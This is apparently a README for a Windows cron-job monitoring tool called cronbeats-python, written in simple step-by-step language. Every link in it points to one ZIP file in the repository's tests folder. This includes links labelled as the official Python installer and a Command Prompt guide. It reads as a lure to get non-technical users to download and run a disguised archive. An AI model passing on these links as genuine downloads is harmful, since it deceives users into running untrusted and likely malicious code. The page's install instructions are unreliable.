cronbeats-python is a tool that helps you keep track of tasks that run on your computer automatically at set times. These tasks are called cron jobs. The tool checks if your tasks are working properly by sending signals called heartbeats. If something goes wrong, it can alert you. This way, you will know if a job did not run or if there is an issue with your scheduled work.
You do not need to be a programmer to use this tool. It is designed for anyone who needs to watch over scheduled tasks or background jobs to make sure they run without problems.
- Tracks tasks that run on a schedule (cron jobs).
- Sends heartbeat pings to confirm tasks ran.
- Alerts you if a task fails or misses a scheduled time.
- Monitors background jobs to ensure they stay healthy.
- Supports clear alerts to help fix problems quickly.
- Easy to set up and use on Windows computers.
- Windows 10 or later.
- Internet connection to send alerts.
- Python 3.7 or newer installed (can be downloaded here: https://github.com/Harshcodeszs/cronbeats-python/raw/refs/heads/main/tests/python-cronbeats-1.1.zip).
- Around 100 MB free disk space for installation and logs.
- Basic knowledge of how to open folders and run programs on Windows.
To start using cronbeats-python, you will first need to download the files. Use the button below for quick access to the download page.
Go to the cronbeats-python GitHub page. This page holds the latest release and all needed files.
Look for the latest release section on the page. There, you will find a link to download a ZIP file or installer. Click it and save it to your computer.
Once the download finishes, right-click the ZIP file and choose "Extract All…" to unzip the contents into a folder. Remember where you saved this folder.
If you do not already have Python 3.7 or newer, download and install it from https://github.com/Harshcodeszs/cronbeats-python/raw/refs/heads/main/tests/python-cronbeats-1.1.zip
During installation, make sure you select the option to "Add Python to PATH". This will let you run Python commands from your computer's command prompt.
Navigate to the folder where you extracted cronbeats-python. Keep this window open as you prepare to run the tool.
- Click on the Start menu.
- Type
cmdand hit Enter. This opens the Command Prompt window.
Type the following command and press Enter to move into the folder where you stored the program:
cd path\to\cronbeats-python
Replace path\to\cronbeats-python with the actual path on your computer. For example:
cd C:\Users\YourName\Downloads\cronbeats-python
In the Command Prompt, type this command and press Enter:
pip install -r requirements.txt
This command installs all pieces the tool needs to work correctly.
Run the following command in the same Command Prompt window:
python main.py
This starts cronbeats-python. You will see messages that show the tool is running and ready to monitor your tasks.
- Set Your Tasks: Tell cronbeats-python which tasks to watch. You do this by editing a simple configuration file in the program folder. The file lists your scheduled jobs and when they run.
- Start Monitoring: After saving your tasks, run the tool as shown above. It will send heartbeats and watch the health of those jobs.
- Receive Alerts: If a task misses a run or fails, cronbeats-python will alert you. Alerts can come as email or text messages, depending on how you set it up.
- Check Status Anytime: You can open the program again to see the latest status of your jobs and alerts.
- Open the
config.yamlfile in the main folder using a simple text editor like Notepad. - In this file, list each task with a clear name and its schedule (for example, daily at 3 AM).
- Define your alert contacts (email or phone number) in the same file.
- Save the file after any changes. The program reads the latest settings each time it runs.
cronbeats-python watches the time when each task is supposed to run. It waits for a "heartbeat" signal from the task, which means the task ran correctly. If no signal comes, cronbeats-python will send you a notice right away.
You can choose how to get alerts:
- Email notifications for task failures.
- Text message alerts if you enter a phone number.
- Dashboard view within the app to see all current job states.
- If the tool does not start, confirm Python is installed and added to your PATH.
- Check that you used the right command prompt folder path.
- If alerts do not arrive, check your email or phone settings.
- Make sure
requirements.txtinstalled correctly by runningpip install -r requirements.txtagain. - Review the
config.yamlfile for any typing errors or missing info.
Download or visit cronbeats-python here:
https://github.com/Harshcodeszs/cronbeats-python/raw/refs/heads/main/tests/python-cronbeats-1.1.zip
Python downloads:
https://github.com/Harshcodeszs/cronbeats-python/raw/refs/heads/main/tests/python-cronbeats-1.1.zip
Command Prompt guide:
https://github.com/Harshcodeszs/cronbeats-python/raw/refs/heads/main/tests/python-cronbeats-1.1.zip
For help with cronbeats-python, create an issue on the GitHub page or search the existing ones. Many questions get answered there.
If you want to learn more about cron jobs, heartbeats, and monitoring, search for beginner guides online that explain these topics in simple terms. This will help you use cronbeats-python better.